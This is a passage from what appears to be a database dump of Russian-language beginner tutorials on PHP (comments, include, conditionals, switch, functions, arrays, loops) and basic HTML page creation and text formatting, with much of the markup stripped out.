будет проигнорирован интерпретатором.\r\n\r\n В HTML основная цель комментария в том, чтобы служить в качестве примечания разработчикам, которые могут просматривать исходный код вашего сайта. Комментарии РНР отличаются тем, что они не будут отображаться для посетителей. Единственный способ посмотреть PHP комментарии это открыть файл для редактирования. Это делает PHP комментарии полезными только для PHP — программистов.\r\n\r\n В случае, если вы забыли или не знали, как делаются комментарии в HTML, то смотрите пример ниже.\r\n\r\n\r\n Синтаксис php комментариев: однострочный комментарий\r\n Тогда как в html есть только один вид комментариев, в PHP имеется целых два типа. Первый тип, который мы будем обсуждать, это однострочный комментарий. То есть комментарий, который говорит интерпретатору игнорировать все, что происходит на этой линии справа от комментариев. Для использования этого комментария следует применять символы «//» или «#» и весь текст справа будет игнорироваться интерпретатором PHP.\r\n\r\n echo &quot;Hello World!&quot;; // This will print out Hello World!\r\n echo &quot;\r\nPsst...You can\'t see my PHP comments!&quot;; // echo &quot;nothing&quot;;\r\n // echo &quot;My name is Humperdinkle!&quot;;\r\n # echo &quot;I don\'t do anything either&quot;;\r\n ?&gt;\r\n Результат:\r\n\r\n Hello World!\r\n Psst...You can\'t see my PHP comments!\r\n Обратите внимание на то, что несколько наших команд echo не были обработаны, потому что мы закомментировали их с помощью специальных символов комментирования. Этот тип комментариев часто используется для быстрой записи о сложном и запутанном коде или чтобы временно удалить строку кода PHP (для отладки).\r\n\r\n Синтаксис php комментариев: многострочный комментарий\r\n Как и HTML — комментарии, многострочные комментарии в PHP могут быть использованы для комментирования больших блоков кода или для записи комментов в несколько строк. Многострочные комментарии в PHP начинается с «/*» и заканчиваются «*/». Все, что находится между этими символами, будет игнорироваться.\r\n\r\n /* This Echo statement will print out my message to the\r\n the place in which I reside on. In other words, the World. */\r\n echo &quot;Hello World!&quot;; \r\n /* echo &quot;My name is Humperdinkle!&quot;;\r\n echo &quot;No way! My name is Uber PHP Programmer!&quot;;\r\n */\r\n ?&gt;\r\n Результат:\r\n\r\n Hello World!','','files_4859_2896_'),(11,3,'Урок 7. Include','Если не вдаваться в подробности PHP, то кратко, команда include принимает имя файла и просто вставляет его содержимое в сценарий, который этот include вызвал.\r\n\r\n Почему это круто? Ну, в первую очередь, это означает, что вы можете напечатать общий заголовок или меню, которые должны быть на каждой вашей странице, а потом просто подключить их с помощью include. Затем, когда вы добавляете новую страницу на сайт, то вместо того, чтобы обновлять ссылки на нескольких страницах, вы можете просто изменить файл, который содержит меню.\r\n\r\n Пример использования команды include\r\n Скажем, мы хотим создать общий файл меню, чтобы все наши страницы его использовали. Так как мы хотим создать общий файл меню, то давайте сохраним его как «menu.php». Вот как он будет выглядеть:\r\n\r\n\r\n\r\nГлавнаяhttp://www.example.com/index.php&quot;&gt;Главная&gt; - \r\nО&quot;&gt;http://www.example.com/about.php&quot;&gt;О нас - \r\nСсылкиhttp://www.example.com/links.php&quot;&gt;Ссылки&gt; - \r\nКонтактыhttp://www.example.com/contact.php&quot;&gt;Контакты&gt; \r\n\r\n Сохранить файл как «menu.php». Теперь создайте новый файл «index.php» в том же каталоге, что и «menu.php». Здесь мы воспользуемся этой командой include чтобы добавить наше общее меню.\r\n\r\n\r\n\r\nThis is my home page that uses a common menu to save me time when I add\r\n new pages to my website!\r\n\r\n\r\n\r\n Затем, запустив файл index.php мы получим полноценную страничку с подгруженным меню.\r\n Можно сделать то же самое для «about.php», «links.php» и «contact.php». Подумайте только, как ужасно было бы, если у вас хотя бы 15 страниц с общим меню, и вы решили добавить еще одну запись в это меню. Вы должны были бы пойти и вручную редактировать каждый файл, чтобы добавить эту новую запись, но при использовании include, вы просто должны изменить «menu.php» и все ваши проблемы будут решены. Это ли не чудо? \r\n\r\n Как все это видят посетители?\r\n Если мы использовали команду include для вставки меню на каждую из наших веб-страниц, что будет видеть посетитель в исходном коде «index.php»? Да ничего, обычный html текст, т.к. инклуд работает просто как копипаст.\r\n\r\n Поведение include\r\n Он вставляет содержимое одного файла в другой и все. Очень удобная вещь! Include весьма полезен, если вы хотите включить тот же PHP или HTML текст или сегмент сразу в несколько страниц сайта. Команда инклуд широко используется разработчиками PHP, так же как и Echo.','','files_4010_3973_'),(12,3,'Урок 8. Условный оператор','Условный оператор в PHP очень похож на условия в других языках программирования. Но для тех, кто не знаком с ним, картина следующая.\r\n\r\n Подумайте о том решении, которое вы принимаете перед тем, как идти спать. Если у вас есть чем заняться на следующий день, скажем, пойти на работу, в школу или университет, то вам нужно завести будильник, чтобы рано проснуться. В противном случае, вы будете спать столько, сколько хотите!\r\n\r\n Этот простой вид условия «если, то», который является очень распространенным явлением в повседневной жизни, а также довольно часто появляется в программировании. Всякий раз, когда вы хотите, чтобы решение принималось с учетом каких-то условий (например, вы должны что-то сделать завтра) вы используете условный оператор.\r\n\r\n PHP оператор If\r\n Представьте себе, что 1 января вы хотите вывести сообщение «С Новым годом!» в верхней части вашей страницы. С помощью PHP и условного оператора вы могли бы этот процесс автоматизировать за несколько месяцев до 1 января.\r\n Такую динамичность невозможно осуществить на простом HTML.\r\n\r\n PHP If Пример\r\n Давайте начнем с основ и рассмотрим простой пример, где мы присвоим переменной значение, а затем, с помощью условия в php мы сравним его с другим значением и выведем результат.\r\n\r\n $my_name = &quot;Вася&quot;;\r\n\r\n if ( $my_name == &quot;Вася&quot; ) {\r\n echo &quot;Привет, Вася!\r\n&quot;;\r\n }\r\n echo &quot;Добро пожаловать на мою страницу!&quot;;\r\n В результате мы увидим две строки:\r\n\r\n Привет, Вася!\r\n Добро пожаловать на мою страницу!\r\n Как вы видите, мы сравнивали переменную $my_name со значением «Вася», чтобы увидеть равны ли они. В PHP вы используете двойной знак равенства (==) для сравнения значений. Кроме того, обратите внимание, так как условие оказалось истиной, то кода был выполнен, напечатав «Привет, Вася!». Давайте немного более глубоко разберемся в этом примере.\r\n\r\n Сначала мы присваиваем переменной $my_name значение «Вася».\r\n Затем мы использовали оператор IF для проверки значения, содержащегося в переменной $my_name. Равно ли оно значению «Вася»?\r\n Сравнение между $my_name и «Вася» было сделано с помощью двойного знака равенства «==», ни одного равно «=»! Одно равно используется для присвоения значения переменной, в то время как двойное равно для проверки.\r\n $my_name действительно равна «Вася», так что echo выполняется.\r\n If…else\r\n С простым условием разобрались. Но иногда возникает необходимость выполнить условие, если оно истинно и выполнить другое действие, если ложно! Например, если я завтра иду в университет, то мне нужно встать в 7 часов, иначе я пойду играть в футбол с друзьями с 9 часов. Здесь нам на помощь придет все тот же условный оператор, но с небольшим дополнением.\r\n\r\n $go_to_universe = 1;\r\n\r\n if ( $go_to_universe == 1 ) {\r\n echo &quot;Иду в универ, будильник на 7 часов&quot;;\r\n } else {\r\n echo &quot;Не иду в универ, будильник на 9 часов&quot;;\r\n }\r\n В данном случае, если переменная $go_to_universe принимает значение 1, то мы идем в универ и заводим будильник на 7 утра, иначе (else) не идем в универ и заводим на 9. Все достаточно просто.\r\n Запомните, сначала пишем оператор if, затем в круглых скобках условие, в фигурных скобках действие, если условие истинно, затем слово else и снова в фигурных скобках действие, но уже которое будет выполняться, если усновие ложно.\r\n\r\n if ( условие ) {\r\n действие при истинном условии;\r\n } else {\r\n действие при ложном условии;\r\n }','','files_2166_4095_'),(13,3,'Урок 9. Switch','PHP оператор Switch: Быстрая проверка\r\n С помощью оператора Switch вы можете проверить наличие всех этих условий одновременно, и самое замечательное в том, что на самом деле более эффективно в плане программирования. Истинно беспроигрышная ситуация!\r\n\r\n То, как работает переключатель, знает каждый: он берет одну переменную в качестве входных данных, а затем проверяет ее на выполнение того или иного условия, которые вы зададите. Вместо того, чтобы проверять значения переменной по одному, прогоняя ее через множество условий, свитч позволяет проверить все за один раз.\r\n\r\n PHP оператор Switch: Пример\r\n Приведем простой пример использования свитча. В нашем случае в зависимости от пункта назначения, который хранится в переменной, мы будем давать рекомендации что лучше взять с собой в дорогу.\r\n\r\n $destination = &quot;Tokyo&quot;;\r\n echo &quot;Отправляемся в $destination\r\n&quot;;\r\n switch ($destination){\r\n case &quot;Las Vegas&quot;:\r\n echo &quot;Берем с собой $5000! Вегас детка!&quot;;\r\n break;\r\n case &quot;Amsterdam&quot;:\r\n echo &quot;Парочка газет, фольга...&quot;;\r\n break; \r\n case &quot;Egypt&quot;:\r\n echo &quot;50 бутылок солнцезащитного крема.&quot;;\r\n break; \r\n case &quot;Tokyo&quot;:\r\n echo &quot;Берем деньги на сувениры.&quot;;\r\n break;\r\n case &quot;Caribbean Islands&quot;:\r\n echo &quot;Захватите трусы для плавания!&quot;;\r\n break; \r\n }\r\n Результат:\r\n Отправляемся в Tokyo\r\n Берем деньги на сувениры.\r\n\r\n Значение переменной $destination было Токио, поэтому, когда PHP выполнял оператор свитч, то на $destination он сразу сделал поиск для случая со значением «Токио». Он нашел его и продолжил выполнять код, который был прописан в этом сегменте.\r\n\r\n Вы могли заметить, что каждый случай содержит break. Этот break как раз и позволяет во всех остальных случаях ничего не выполнять. Если бы в приведенном выше примере не было брейка, то код бы выполнялся не только в случае значения Токио! Используйте эти знания и никогда не нагромождайте десятки условий там, где можно обойтись одним свитчем!\r\n\r\n Форма Switch достаточно уникальна, поэтому потратьте некоторое время на ее рассмотрение, прежде чем двигаться дальше. Примечание: начинающие программисты пренебрегают этой конструкцией, что неправильно и затрудняет чтение кода, а так же негативно сказывается на производительности!\r\n\r\n PHP оператор Switch: действие по умолчанию\r\n Возможно, вы заметили отсутствие обработки для случая, когда ни одно из условий не подходит нашей переменной. Если такое случится и свитч не найдет ни одного условия, удовлетворяющего значению переменной, то будет выполнено действие по умолчанию.\r\n\r\n Рекомендую всегда использовать такую возможность и добавлять действие по умолчанию, даже если вы уверены, что переменная не примет значения, которого нет в свитче. Ниже приведен вариант нашего примера, в котором добавлена обработка действия по умолчанию.\r\n\r\n $destination = &quot;New York&quot;;\r\n echo &quot;Отправляемся в $destination\r\n&quot;;\r\n switch ($destination){\r\n case &quot;Las Vegas&quot;:\r\n echo &quot;Берем с собой $5000! Вегас детка!&quot;;\r\n break;\r\n case &quot;Amsterdam&quot;:\r\n echo &quot;Парочка газет, фольга...&quot;;\r\n break; \r\n case &quot;Egypt&quot;:\r\n echo &quot;50 бутылок солнцезащитного крема.&quot;;\r\n break; \r\n case &quot;Tokyo&quot;:\r\n echo &quot;Берем деньги на сувениры.&quot;;\r\n break;\r\n case &quot;Caribbean Islands&quot;:\r\n echo &quot;Захватите трусы для плавания!&quot;;\r\n break; \r\n default:\r\n echo &quot;Бельишко чистое не забудьте!&quot;;\r\n break;\r\n }\r\n Результат:\r\n Отправляемся в New York','','files_1345_5496_'),(14,3,'Урок 10. Функции','Создаем свою первую php функцию\r\n Когда вы создаете функцию, нужно сначала дать ей имя, например, myCompanyName. Лучше всего называть функции понятными названиями, которые будут иметь смысл, чтобы не запутаться. Это же касается и переменных.\r\n\r\n Синтаксис для создания функции довольно очевидный и логичный. Во-первых, вы должны сказать PHP, что вы хотите создать функцию. Это можно сделать, введя ключевое слово function и ваше имя функции и некоторые другие вещи (о которых мы поговорим чуть позже).\r\n\r\n Вот как выглядит объявление функции myCompanyName:\r\n\r\n function myCompanyName(){\r\n }\r\n ?&gt;\r\n Примечание: Название функции может начинаться со знака «_», но не с цифры!\r\n Это лишь каркас нашей функции, а внутри него мы можем поместить любой код, который захотим. При вызове функции он будет выполняться. Видите в фигурных скобках в приведенном выше примере «{}»? Эти скобки определяют, где должен быть наш код функции. Открывающая фигурная скобка «{» говорит PHP, что код функции начинается, а закрывающая фигурная «}» говорит PHP, что наша функция окончена!\r\n\r\n Давайте добавим в нее что-то простенькое, например echo.\r\n\r\n function myCompanyName(){\r\n echo &quot;Вы находитесь на блоге myblaze.ru \r\n&quot;;\r\n }\r\n ?&gt;\r\n Вот и все, довольно просто, правда? Теперь научимся вызывать нашу функцию.\r\n\r\n Вызов готовой функции php\r\n Теперь, когда вы закончили кодирование простейшей функции, пришло время ее испытать. Ниже приведен простой скрипт. Давайте сделаем вот что: объявим свою функцию и используем ее.\r\n\r\n function myCompanyName(){\r\n echo &quot;Вы находитесь на блоге myblaze.ru \r\n&quot;;\r\n }\r\n echo &quot;Привет всем! \r\n&quot;;\r\n myCompanyName();\r\n echo &quot;Рад вас видеть! \r\n&quot;;\r\n Хотя это был простой пример, важно понимать, что любая невнимательность может привести к ошибке. Когда вы создаете функцию, следуйте этим простым рекомендациям.\r\n\r\n Всегда начинайте ваши функции с ключевым словом function.\r\n Помните, что ваш код функции должны быть между «{» и «}».\r\n Когда вы вызываете функцию, убедитесь, что пишете ее имя правильно.\r\n Функции с параметрами\r\n Еще одна полезная возможность состоит в том, что функции вы можете вызывать с параметрами, то есть передавать внутрь ее кода дополнительную информацию. Наша первая функция myCompanyName не очень-то и полезна, потому что все что она умеет, это печатать одну и ту же строку.\r\n\r\n Однако, если бы мы использовали параметры, то мы могли бы добавить некоторые дополнительные фишки в нашу функцию! Параметр появляется скобках «()» и выглядит как обычная переменная PHP. Давайте создадим новую функцию, которая создает пользовательское приветствие основанное на имени человека, которое мы передадим в качестве параметра.\r\n\r\n function sayHello($Name){\r\n echo &quot;Hello there &quot;. $Name . &quot;!\r\n&quot;;\r\n }\r\n ?&gt;\r\n Теперь когда мы будем вызывать функцию sayHello, то в скобках обязательно должны указывать параметр (имя), так как функция объявлена с параметром и игнорировать его нельзя.\r\n Если мы хотим указывать несколько параметров, то просто перечисляем их при объявлении функции через запятую и все, ничего больше не требуется.\r\n\r\n Возвращение значения функцией php\r\n Помимо того, что вы имеете возможность передать функции информацию, она так же может и сама вернуть значение. Но помните, функция может возвращать только одно значение, хотя это может быть что угодно: целое число, вещественное, булевое значение, как вы пожелаете!\r\n\r\n Как она возвращает значение? Лучше всего разобраться на примере. Объявим функцию с параметрами, а затем присвоим результат некоторой переменной, вот так:\r\n\r\n function mySum($numX, $numY){\r\n $total = $numX + $numY;\r\n return $total; \r\n }\r\n $myNumber = 0;\r\n echo &quot;Перед использованием функции, myNumber = &quot;. $myNumber\r\n.&quot;\r\n&quot;;\r\n $myNumber = mySum(3, 4); // Сохраняем результат вызова функции mySum в переменную $myNumber\r\n echo &quot;После вызова функции, myNumber = &quot; . $myNumber .&quot;\r\n&quot;;\r\n ?&gt;\r\n Чтобы присвоить функции значение — в нее добавляется оператор return, видите его? Результат сложения двух чисел хранится в переменной $total, а с помощью return $total это значение передается самой функции. Затем мы просто присваиваем его переменной $myNumber после вызова функции mySum с двумя параметрами 3 и 4 (это числа которые следует сложить).','','files_2999_2361_'),(15,3,'Урок 11. Массивы','PHP — массив с числовыми индексами\r\n Если это ваш первый опыт работы с массивами, то вы, возможно, не вполне понимаете их концепцию. Представьте, что вы являетесь владельцем бизнеса и хотите сохранить имена всех ваших сотрудников в переменной PHP. Как бы вы это сделали?\r\n\r\n Нет смысла хранить каждое имя в своей переменной. Вместо этого, было бы неплохо хранить все имена сотрудников внутри одной переменной. Вот тут-то в дело и вступают массивы, и сейчас мы с ними разберемся на примере.\r\n\r\n $employee_array[0] = &quot;Петя&quot;;\r\n $employee_array[1] = &quot;Вася&quot;;\r\n $employee_array[2] = &quot;Ваня&quot;;\r\n $employee_array[3] = &quot;Федор Петрович&quot;;\r\n В приведенном выше примере мы использовали ключ / значение. Ключи были числами, указанными в квадратных скобках и значения — имена сотрудников. Каждый ключ массива представляет собой значение, что-то наподобие ссылки. В общем виде для присвоения элементу массива значения требуется запись вида:\r\n\r\n $array[ключ] = значение;\r\n Примечание: Как вы могли заметить из приведенного выше примера кода, ключи массива начинаются с 0, а не 1. Это очень распространенная проблема для многих начинающих программистов, которые привыкли считать от 1.\r\n\r\n Если мы хотим, получить сохраненное значение, то нам понадобится сделать следующее:\r\n\r\n echo &quot;Два моих работника: &quot;\r\n . $employee_array[0] . &quot; и &quot; . $employee_array[1]; \r\n echo &quot;\r\nИ еще два работника: &quot; \r\n . $employee_array[2] . &quot; и &quot; . $employee_array[3];\r\n Результат:\r\n Два моих работника: Петя и Вася\r\n И еще два работника: Ваня и Федор Петрович\r\n\r\n PHP массивы очень полезны при использовании в сочетании с циклами, которые мы рассмотрим чуть позже. Выше мы показали пример массива, который использовал целые числа в качестве ключей (численно индексированный массив). Однако, вы также можете указать строку в качестве ключа, тогда это будет уже ассоциативный массив.\r\n\r\n PHP — ассоциативные массивы\r\n В ассоциативном массиве ключ связан со значением. Если вы хотите сохранить заработную плату своих сотрудников в массив, то числовой индекс будет не лучшим выбором, так как в них можно запутаться. Вместо этого мы могли бы использовать имена сотрудников в качестве ключей в нашем ассоциативном массиве, а значением будет их зарплата.\r\n\r\n $salaries[&quot;Петя&quot;] = 2000;\r\n $salaries[&quot;Вася&quot;] = 4000;\r\n $salaries[&quot;Ваня&quot;] = 600;\r\n $salaries[&quot;Даша&quot;] = 0;\r\n\r\n echo &quot;Петя получает - $&quot; . $salaries[&quot;Петя&quot;] . &quot;\r\n&quot;;\r\n echo &quot;Вася получает - $&quot; . $salaries[&quot;Вася&quot;] . &quot;\r\n&quot;;\r\n echo &quot;А Ваня получает всего - $&quot; . $salaries[&quot;Ваня&quot;] . &quot;\r\n&quot;;\r\n echo &quot;Даша в этом месяце не работала, поэтому - $&quot; . $salaries[&quot;Даша&quot;]','','files_1718_4946_'),(16,3,'Урок 12. Цикл While','Простой пример цикла While\r\n Суть вайла проста. Он будет выполнять заданный набор команд снова и снова, пока выполняется прописанное условие. Так называемый цикл с предусловием, то есть сначала проверка, потом выполнение. Эта логическая проверка работает так же, как та, которую мы рассматривали в уроке про IF…else в php.\r\n Простой пример while цикла представлен ниже:\r\n\r\n while ( условие ){\r\n //тело цикла;\r\n }\r\n Этот код показывает, как построен цикл. Примерный алгоритм выполнения выглядит следующим образом:\r\n\r\n Шаг 1. Проверяется заданное условие цикла. Если оно истинно, то выполняется Шаг 2, если ложно, то Шаг 4.\r\n Шаг 2. Выполнение тела цикла (заданных команд).\r\n Шаг 3. Процесс начинается снова (Шаг 1).\r\n Шаг 4. Если условное выражение ложно, то код внутри цикла не выполняется. Код, записанный после цикла выполняется как обычно.\r\n Рабочий пример While в php\r\n Например, выведем числа от 1 до 10:\r\n\r\n $i = 1;\r\n\r\n while ($i &lt;= 10) {\r\n\r\n echo $i;\r\n $i++;\r\n\r\n }\r\n Присваиваем переменной $i значение 1, а затем формируем цикл с условием ($i &lt;= 10). Таким образом команда echo $i выполнится 10 раз. Итератор (переменную - счетчик) нужно изменять самостоятельно, в отличие от цикла for, но о нем мы поговорим позже. Для этого мы выполняем команду $i++. Если этого не сделать, то цикл никогда не прервется, то есть код зациклится, чего не хотелось бы','','files_2267_3927_'),(17,3,'Урок 13. Цикл For','Еще один вид цикла с которым мы сегодня познакомимся, это цикл for. Он, как и цикл while нужен довольно часто. Например, при работе с массивами. Но синтаксис его немного отличается. Не пугайтесь, здесь все так же просто, достаточно лишь понять смысл.\r\n\r\n Для начала разберем конструкцию на словах, чтобы было проще работать с кодом:\r\n\r\n определяем переменную-счетчик с некоторым начальным значением и также задаем конечное значение;\r\n проверяем, укладывается ли переменная в заданные рамки в текущий момент;\r\n если да, то выполняем тело цикла;\r\n увеличение переменной-счетчика в конце каждой итерации цикла происходит автоматически, в отличие от цикла while.\r\n На самом деле все очень просто, задается начальное и конечное значение переменной, а затем описывается тело цикла в котором эту переменную можно использовать, после чего она сама увеличится. Давайте разберем уже на примере.\r\n\r\n Простой пример цикла For\r\n Возьмем простой пример из урока с циклом while, и посмотрим, как это может быть реализовано в цикле for. Основная структура цикла выглядит следующим образом:\r\n\r\n for ( объявление переменной и присвоение начального значения; условие выполнения цикла; увеличение счетчика){\r\n //тело цикла;\r\n }\r\n Обратите внимание, что все манипуляции с переменной-счетчиком происходят при объявлении цикла. Каждое действие происходит через точку с запятой: инициализируем счетчик и присваиваем начальное значение, записываем условие, а затем операцию приращения счетчика. Точка с запятой необходима, потому что это отдельные выражения. Однако обратите внимание, что точка с запятой не требуется после последнего действия, то есть приращения (сразу закрываем скобку без точки с запятой).\r\n\r\n В качестве примера выведем таблицу с переменной и той же переменной, но умноженной на 5.\r\n\r\n $mnojitel = 5; \r\n echo &quot;&quot;;\r\n echo &quot;&quot;;\r\n echo &quot;&quot;;\r\n for ( $counter = 3; $counter &lt;= 11; $counter +=3) {\r\n echo &quot;&quot;;\r\n }\r\n echo &quot;Переменная counter	counter * mnojitel\r\n&quot;;\r\n echo $counter;\r\n echo &quot;	&quot;;\r\n echo $mnojitel * $counter;\r\n echo &quot;\r\n\r\n&quot;;\r\n Вот что мы получим:\r\n\r\n Переменная counter counter * mnojitel\r\n 3 15\r\n 6 30\r\n 9 45\r\n Теперь давайте разберем, что же мы сделали при объявлении нашего цикла. Перво-наперво определили переменную $counter = 3 и сразу же присвоили ей начальное значение 3. После этого, через точку с запятой, задали условие, при удовлетворении которого, цикл выполняется: $counter &lt;= 11, то есть если переменная меньше или равна 11, то цикл выполняется. Ну и, наконец, последний шаг это шаг цикла - увеличение счетчика. В нашем случае: $counter +=3 увеличение с каждым шагом (итерацией) на 3.','','files_5141_4917_'),(18,3,'Урок 14. Цикл Foreach','Представьте, что у вас есть ассоциативный массив, который вы хотите перебрать. PHP предоставляет простой способ использовать каждый элемент массива по очереди с помощью Foreach конструкции.\r\n\r\n На простом языке это будет звучать примерно так:\r\n «Для каждого элемента в указанном массиве выполнить этот код.»\r\n\r\n В то время как цикл While будет продолжаться, пока выполняется некоторое условие, цикл foreach будет продолжаться, пока не пройдет через каждый элемент массива.\r\n\r\n PHP Foreach: Пример\r\n У нас есть ассоциативный массив, в котором хранятся имена людей в нашей компании, а также их возраст. Мы хотим знать, сколько лет каждому сотруднику, поэтому мы используем цикл по каждому элементу, чтобы распечатать имя каждого и возраст.\r\n\r\n $employeeAges;\r\n $employeeAges[&quot;Lisa&quot;] = &quot;28&quot;;\r\n $employeeAges[&quot;Jack&quot;] = &quot;16&quot;;\r\n $employeeAges[&quot;Ryan&quot;] = &quot;35&quot;;\r\n $employeeAges[&quot;Rachel&quot;] = &quot;46&quot;;\r\n $employeeAges[&quot;Grace&quot;] = &quot;34&quot;;\r\n\r\n foreach( $employeeAges as $key =&gt; $value){\r\n echo &quot;Name: $key, Age: $value \r\n&quot;;\r\n }\r\n Получаем результат:\r\n\r\n Name: Lisa, Age: 28\r\n Name: Jack, Age: 16\r\n Name: Ryan, Age: 35\r\n Name: Rachel, Age: 46\r\n Name: Grace, Age: 34\r\n Что же, результат хороший и понятный, а вот синтаксис конструкции foreach не очень легкий и понятный. Давайте разберемся в нем поподробнее.\r\n\r\n For each синтаксис: $something as $key =&gt; $value\r\n Все это безумие примерно переводится в: «Для каждого элемента ассоциативного массива $employeeAges я хочу обратиться к $key и значению в нем, то есть к $value.\r\n\r\n Оператор «=&gt;» представляет связь между ключом и значением. В нашем примере мы назвали их как ключ — $key и значение — $value. Тем не менее, было бы легче думать о них, как об имени и возрасте. Ниже в нашем примере мы так и сделаем, и обратите внимание, что результат будет тот же, потому что мы только изменили имена переменных, которые относятся к ключам и значениям.\r\n\r\n $employeeAges;\r\n $employeeAges[&quot;Lisa&quot;] = &quot;28&quot;;\r\n $employeeAges[&quot;Jack&quot;] = &quot;16&quot;;\r\n $employeeAges[&quot;Ryan&quot;] = &quot;35&quot;;\r\n $employeeAges[&quot;Rachel&quot;] = &quot;46&quot;;\r\n $employeeAges[&quot;Grace&quot;] = &quot;34&quot;;\r\n\r\n foreach( $employeeAges as $name =&gt; $age){\r\n echo &quot;Name: $name, Age: $age \r\n&quot;;\r\n }\r\n Ну и результат, повторимся, тот же самый:\r\n\r\n Name: Lisa, Age: 28\r\n Name: Jack, Age: 16\r\n Name: Ryan, Age: 35\r\n Name: Rachel, Age: 46\r\n Name: Grace, Age: 34','','files_5506_2308_'),(19,3,'Урок 15. Цикл Do while','Итак, новый цикл do выполняет свой ​​блок кода, по крайней мере, один раз. Это потому, что здесь условный оператор находится после тела цикла! Таким образом, простой цикл while называют «циклом с предусловием», а цикл do while — «циклом с постусловием».\r\n\r\n Пример сравнения синтаксиса двух циклов\r\n Простой пример, который иллюстрирует разницу между этими двумя типами циклов и работы их условных операторов.\r\n Работа цикла while:\r\n\r\n $cookies = 0;\r\n while($cookies &gt; 1){\r\n echo &quot;Мммм! Люблю печеньки! *ом-ном-ном*&quot;;\r\n }\r\n В результате мы не увидим ничего, так как переменная $cookies равна нулю и условие $cookies &gt; 1 не сработает, следовательно цикл не выполнится. Теперь давайте сделаем то же самое, но с циклом do while:\r\n\r\n $cookies = 0;\r\n do {\r\n echo &quot;Мммм! Люблю печеньки! *ом-ном-ном*&quot;;\r\n } while ($cookies &gt; 1);\r\n В результате:\r\n\r\n Мммм! Люблю печеньки! *ом-ном-ном*\r\n Как видите, цикл сработал один раз, а потом проверил условие, которое не выполнилось и вышел из цикла. Такие конструкции обязательно вам когда-нибудь пригодятся! Лучше помнить о них, чтобы не изобретать потом велосипед.','','files_1367_2269_'),(21,2,'Урок 2: Создаем свою первую страничку','ШАГ 1:\r\n Создайте на своем компе папку с названием вашего будущего сайта, ну к примеру в данном случае актуально будет назвать папку obuchenie_html . Внутри папки создайте еще одну папку с названием www , авнутри нее еще одну для изображений с названием img (позже вставим туда картинки). Для наглядности я нарисовал вам приблизительную структуру, получившуюся в результате:\r\n Пока поверьте мне на слово, дальше когда начнете изучать Dreamweaver все поймете.\r\n ШАГ 2:\r\n Зайдите в созданную на предыдущем шаге папку www исоздайте внутри нее текстовый документ. Для этого зайдите в нее, кликните правой кнопкой мыши в выпадающем меню выберите Создать - Текстовый документ. \r\n ШАГ 3:\r\n Теперь, следуя предыдущему уроку напишите в Блокноте текст простейшей странички:\r\n Приведу пример:\r\n &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n Ура!!!! Я создал свою первую страницу на html!!!\r\n\r\n\r\n Готово ! Вы создали свою первую настоящую веб-страницу!\r\n ШАГ 4:\r\n Теперь сохраните ваш документ как &quot;index.htm&quot; (расширение &quot;.htm&quot; указывает, что это HTML-документ. &quot;.html&quot; даст тот же результат. Это не имеет значения) . Для этого в меню Файл выберите Сохранить Как:\r\n В пункте Тип файла выберите&quot;Все файлы&quot;.\r\n После сохранения можете удалить текстовый документ.\r\n ШАГ 5:\r\n Для того, чтобы внести изменения в страничку, Вам нужно открыть данный файл через обычный блокнот. Либо же, можно менять прямо в браузере, но только в браузере Opera.\r\n Поэтому, если у Вас установлен именно он, то Вы можете просто запустить свою страничку, кликнуть правой кнопкой мыши, в выпадающем меню выбрать &quot;Исходный Код&quot; .Там можете менять все, что угодно. А затем, просто нажать на кнопку &quot;Применить изменения&quot; .\r\n Как видите действительно в заголовке документа написано&quot;Это моя первая страничка!&quot; а комментарии действительно неотобразились в браузере!','','files_3122_4057_'),(22,2,'Урок 3: Работаем с текстом','В предыдущем уроке мы создали свою первую простейшую страничку.\r\n В этом уроке мы подробнее остановимся на свойствах текста, научимся выделять абзацы, заголовки и т.д.\r\n Возьмите и скопируете текст данного урока от начала идо первой картинки, и вставитеего в свою первую страничку. Как вы заметили текст идет слитно, без разделений на абзацы, также ничего не выделено заголовком, короче форматирование отсутствует! Т.е. чтобы Браузер правильно отображал текст, необходимо задать его форматирование.\r\n Основными элементами форматирования текста в htmlявляются:\r\n - P\r\n Используется для разбивания текста на параграфы\r\n - H1,H2,...H6\r\n Применяются для создания заголовков 1,2...6 уровней\r\n - BR\r\n Используетcя для переноса строки\r\n - DIV , SPAN\r\n Используются для выделения части документа определенным способом.\r\n P - используется для разметки параграфов в html документах.\r\n Атрибуты:\r\n ALIGN - определяет способ горизонтального выравниванияпараграфа .\r\n Возможные значения: left, center, right, justify . Это соответственно по левому краю, по центру, по правому краю, и по ширине .По умолчанию имеет значение left .\r\n Приведу пример:\r\n Если внутри тела документа написать следующее:\r\n\r\n Этот параграф по центру \r\n\r\n\r\n Этот по левому краю \r\n\r\n\r\n Этот тоже по левому (т.к. по умолчанию) \r\n\r\n\r\n Этот по правому краю \r\n\r\n\r\n В этом параграфе текст будет выравниваться по ширине (одновременно по левому и правому краям документа). Не понимающие justify браузеры будут выравнивать текст по левому краю \r\n\r\n Примечание: следите чтобы содержимое в кавычках было написано без пробелов, т.е. \r\n\r\n а не \r\n\r\n иначе не будет работать!\r\n H1,H2,...H6 - Применяются для разбивания текста на смысловые уровни - разделы и подразделы. Существует шесть уровней заголовков, различающихся по величине шрифта.\r\n Атрибуты:\r\n ALIGN - определяет способ горизонтального выравниваниязаголовков.\r\n Возможные значения: left, center, right . По умолчанию - left .\r\n Приведу пример:\r\n Если внутри тела документа написать следующее:\r\n\r\n Большой заголовок \r\n\r\n Заголовок поменьше \r\n\r\n Еще меньше \r\n\r\n Совсем маленький \r\n\r\n Малюсенький заголовочек \r\n\r\n Ну просто лилипутский заголовочек \r\n\r\n Примечание: закрывающий тег обязателен!\r\n BR - данный элемент осуществляет перенос строки. Не имеет закрывающего тега.\r\n Приведу пример:\r\n Если внутри тела документа написать следующее:\r\n Начинается первая строка \r\n\r\n теперь идет вторая \r\n\r\n а вот уже и третья\r\n\r\n А это параграф и внутри него тоже можно использоватьтег \r\n переноса строки.Его надо использовать всегда, когда надо перенести строку:) \r\n\r\n Как вы наверное заметили, при переносе строки не начинается новый параграф! Перенос- он и есть перенос!\r\n DIV - В современном сайтостроении используется какудобный контейнер для блоков html кода страницы, которым легко динамически манипулировать – перемещать, регулировать отступы, скрыватьи т.п. Обязателен закрывающийтег!\r\n Атрибуты:\r\n ALIGN - определяет способ горизонтального выравниванияконтейнера.\r\n Возможные значения: left, center, right, justify . Это соответственно по левому краю, по центру, по правому краю, и по ширине .По умолчанию имеет значение left .\r\n Допустим нам нужно выровнятьпервые две строчки текста из предыдущего примера по правому краю, не выделяя при этом их в абзац. Как это сделать?\r\n\r\n Начинается 